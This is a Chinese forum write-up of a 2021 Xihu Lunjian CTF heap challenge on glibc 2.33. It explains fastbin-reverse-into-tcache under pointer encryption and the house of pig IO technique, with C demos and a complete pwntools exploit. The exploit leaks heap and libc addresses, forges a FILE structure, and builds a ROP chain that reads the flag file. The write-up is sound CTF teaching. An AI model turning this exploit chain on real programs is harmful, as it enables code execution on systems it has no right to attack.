首页
论坛
课程
招聘
[原创]从2021年西湖论剑一道题看高版本libc解题思路
2022-5-18 16:24 6150

[原创]从2021年西湖论剑一道题看高版本libc解题思路

2022-5-18 16:24
6150

前言

这是2021年西湖论剑初赛上的一道一解(好像是,记不太清是不是1解了)高版本libc题,版本为2.33,两个hook仍然存在,但是许多利用手法与之前有一定出入,在这里通过这样一道题来熟悉高版本下的漏洞利用手法

 

这道题callmecro已经写过一篇详细的复现:https://www.anquanke.com/post/id/260059

 

采用的是largebin attack,但是并非预期解,本篇文章采用fastbin reverse into tcache来达到仅使用fastbin 范围内的chunk实现任意+8对齐地址写一个堆地址的目的。本篇文章的重点也在于通过这道题引出不同版本下fastbin reverse into tcache的使用。

 

并且如果采用fastbin reverse into tcache来解题,会大大降低堆风水的难度,不需要非常小心的使用内存空间,exp看起来也会清爽很多。

前置知识

1.fastbin reverse into tcache

 

2.house of pig中的IO利用部分

fastbin reverse into tcache

低版本

在2.27-2.31版本中,没有对fd指针加密,所以在利用的时候非常简单,只需要将tcache填满,然后放7个chunk进fastbin,并将第一个放进fastbin的chunk的fd改成目标地址,然后清空tcache,申请一个fastbin出来,就可以将target链入tcache并且是在头部,这样即可实现任意地址写一个堆地址的目的,还能将链入tcache的地址申请出来,达到任意地址写任意值。

 

我们来调试一份demo代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
const size_t allocsize = 0x40;
int main(){
  setbuf(stdout, NULL);
  char* ptrs[14];
  size_t i;
  for (i = 0; i < 14; i++) {
    ptrs[i] = malloc(allocsize);
  }
 
  for (i = 0; i < 7; i++) {
    free(ptrs[i]);
  }
  char* victim = ptrs[7];
  free(victim);
  // Fill the fastbin.
  for (i = 8; i < 14; i++) {
    free(ptrs[i]);
  }
  size_t stack_var[6];
  memset(stack_var, 0xcd, sizeof(stack_var));
  *(size_t**)victim = &stack_var[0];
  for (i = 0; i < 7; i++) {
    ptrs[i] = malloc(allocsize);
  }
  malloc(allocsize);
  char *q = malloc(allocsize);
  return 0;
}

在第29行我们下个断点看看:

 

图片描述

 

此时fastbin中放进去了7个,tcache也已经被清空,并且最先放进去的fastbin的fd也已经被修改

 

我们执行一下malloc:

 

图片描述

 

可以看到,目标地址被链入tcache,且其fd位置上的值被改成了一个堆地址

高版本

从libc2.32开始,针对tcache和fastbin的fd指针都进行了一个加密,加密过程是用当前chunk的地址>>12去和fd值异或,并将结果作为新的fd值,所以在进行fastbin reverse into tcache的时候,就不能单纯的将fastbin的fd该成目标地址了,需要先和其地址>>12去异或

 

我们一起来调试一下这份新demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
const size_t allocsize = 0x40;
int main(){
  setbuf(stdout, NULL);
  char* ptrs[14];
  size_t i;
  for (i = 0; i < 14; i++) {
    ptrs[i] = malloc(allocsize);
  }
 
  for (i = 0; i < 7; i++) {
    free(ptrs[i]);
  }
  char* victim = ptrs[7];
  free(victim);
  // Fill the fastbin.
  for (i = 8; i < 14; i++) {
    free(ptrs[i]);
  }
  long long stack_var[6];
  stack_var[2]=(long long)stack_var>>12;
  *(size_t**)victim = ((long long)victim>>12)^((long long)stack_var);
//*(size_t**)victim = &stack_var[0];
  for (i = 0; i < 7; i++) {
    ptrs[i] = malloc(allocsize);
  }
  malloc(allocsize);
  return 0;
}

这里记得把libc版本更换到2.32或以上

 

将断点打在30行,来看看:

 

图片描述

 

可以看到pwndbg已经显示不出来完整的fastbin链了,因为fd指针是加密过的,但是这只是解析问题,不会影响我们后续的工作,我们将处理好的fd写到第一个放进fastbin的chunk的fd处,然后执行malloc看看

 

图片描述

 

tcache也无法识别出完整的链了,但是我们仍然将目标地址链入了tcache中,可是有一个问题,写到fd位置的地址不再是一个正确的堆地址,而是加密后的,对于tiny_note这道题而言,由于申请的时候限制在了一页中,所以链入的地址是无法申请到的。

 

接下来我们要想其他的方法实现写入堆地址的目的

 

我们再次观察其写入过程:

 

图片描述

 

我们看到在keys的位置仍然写入的是正确的堆地址,并没有进行加密,但是keys的写入过程有一个检查,就是必须+8位置对齐 ,所以我们其实是无法通过写keys写入IO_list_all的,但是chain是在+8位置的,所以我们可以通过keys写入chain来打IO

house of pig的IO部分

house of pig的IO部分主要利用了IO_str_overflow,具体利用可以直接看这篇文章:https://www.anquanke.com/post/id/242640

tiny_note

我们回归题目本身,简要叙述一下攻击过程

 

1.首先通过UAF泄露堆地址

 

2.然后利用tcache和UAF实现一个一页内的任意地址写

 

3.利用部分范围的任意地址写修改chunk的size,让其进入unsortedbin从而泄露libc

 

4.利用fastbin reverse into tcache将chain写成heapbase+0x10

 

5.利用任意地址写不断完善fake FILE

 

6.利用house of pig配合setcontext+61完成orw

 

注:题目本身还需要利用getdents64获取flag名再去orw,但不是本次复现的重点,所以略去此步

 

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
from re import L
from pwn import *
from ctypes import *
from string import *
from hashlib import *
from itertools import product
#context.log_level = 'debug'
io = process('./pwn')
#io = remote('35.246.158.241',32131)
libc = ELF('./libc-2.33.so')
elf=ELF("./pwn")
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x            : io.recvn(x)
sn = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
irt = lambda            : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
# lg = lambda s,addr        : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data        : u32(data.ljust(4, b'\x00'))
uu64 = lambda data        : u64(data.ljust(8, b'\x00'))
def menu(choice):
    sla("Choice:",str(choice))
def add(index):
    menu(1)
    sla("Index:",str(index))
def edit(index,context):
    menu(2)
    sla("Index:",str(index))
    sa("Content:",context)
def show(index):
    menu(3)
    sla("Index:",str(index))
def free(index):
    menu(4)
    sla("Index:",str(index))
 
#-----------------------leak heapbase--------------------------
add(0)
add(1)
free(0)
show(0)
ru("Content:")
heapbase=u64(io.recv(5).ljust(8,'\x00'))
heapbase=heapbase<<12
lg("heapbase")
 
 
#-----------------------leak libcbase------------------------------
heap=heapbase+0x2b0
xor=heapbase>>12
free(1)
edit(1,p64(xor^heap))
add(1)
add(0)
edit(0,p64(0)+p64(0x421))
for i in range(33):
    add(0)
free(1)
show(1)
ru("Content:")
libcbase=u64(io.recv(6).ljust(8,'\x00'))-(0x7f514304ec00-0x7f5142e6e000)
lg("libcbase")
io_list_all=libcbase+0x1e15c0
io_str_jumps=libcbase+(0x7f6b247b0560-0x7f6b245ce000)
free_hook=libcbase+libc.sym['__free_hook']
pcop=libcbase+0x14a0a0
lg("pcop")
setcontext=libcbase+libc.sym['setcontext']
rdi_ret=libcbase+0x0000000000028a55
rsi_ret=libcbase+0x000000000002a4cf
rdx_ret=libcbase+0x00000000000c7f32
open=libcbase+libc.sym['open']
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']
#----------------------fastbin reverse into tcache---------------------------
##---------change tcache count-----------
add(0)
add(1)
free(0)
free(1)
heap=heapbase+0x10
edit(1,p64(xor^heap))
add(0)
add(0)
edit(0,p64(0))
 
##------------full fastbin----------------
add(1)#change fd
add(2)#full fastbin
free(1)
edit(0,p64(2))
edit(1,p64(xor^heapbase+0x90))
add(1)
add(1)
for i in range(7):
    edit(0,p64(0))
    add(2)
    edit(0,p64(i))
    free(2)
edit(0,p64(0))
add(2)
edit(0,p64(7))
free(2)
heap=heapbase+0x400
edit(2,p64(xor^(io_list_all+0x70)))
for i in range(6):
    add(2)
    edit(0,p64(7))
    free(2)
    edit(0,p64(6-i))
edit(0,p64(0))
edit(1,p64(io_list_all>>12))
add(2)
 
def change(addr,context):
    edit(0,p64(1))
    edit(1,p64(addr))
    add(2)
    edit(2,context)
 
length=0x230
start = heapbase + 0x600
end = start + ((length) - 100)//2
change(heapbase+0x30,p64(1)+p64(0xffffffffffff))
change(heapbase+0x40,p64(0)+p64(start))
change(heapbase+0x50,p64(end))
change(heapbase+0xd0,p64(0))
change(heapbase+0xe0,p64(0)+p64(io_str_jumps))
change(heapbase+0x1a0,p64(free_hook))
change(start,p64(pcop)+p64(heapbase+0x700))
change(heapbase+0x720,p64(setcontext+61))
change(heapbase+0x7a0,p64(heapbase+0x800)+p64(rdi_ret))
change(heapbase+0x7c0,'flag'.ljust(0x10,'\x00'))
change(heapbase+0x800,p64(heapbase+0x7c0)+p64(rsi_ret))
change(heapbase+0x810,p64(0)+p64(open))
change(heapbase+0x820,p64(rdi_ret)+p64(3))
change(heapbase+0x830,p64(rsi_ret)+p64(heapbase+0x900))
change(heapbase+0x840,p64(rdx_ret)+p64(0x50))
change(heapbase+0x850,p64(read)+p64(rdi_ret))
change(heapbase+0x860,p64(1)+p64(write))
 
#----------exit--------------
edit(1,p64(free_hook))
edit(0,p64(1))
add(2)
 
irt()

最后放一个打通的结果图吧:
图片描述


2022 KCTF春季赛【最佳人气奖】火热评选中!快来投票吧~

收藏
点赞2
打赏
分享
最新回复 (3)
雪    币: 9217
活跃值: 活跃值 (34222)
能力值: (RANK:105 )
在线值:
发帖
回帖
粉丝
Editor 活跃值 2022-5-18 16:36
2
0
感谢分享,将题目附件上传一份?
雪    币: 22
活跃值: 活跃值 (1098)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
Ayakaaa 活跃值 2 2022-5-19 09:02
3
0
题目附件如下:
链接:https://pan.baidu.com/s/1qLcV556tJsfwfmzmLjDfOA 
提取码:3nt4
雪    币: 9217
活跃值: 活跃值 (34222)
能力值: (RANK:105 )
在线值:
发帖
回帖
粉丝
Editor 活跃值 2022-5-19 10:08
4
0

感谢,我上传本地收藏一下。

上传的附件:
游客
登录 | 注册 方可回帖
返回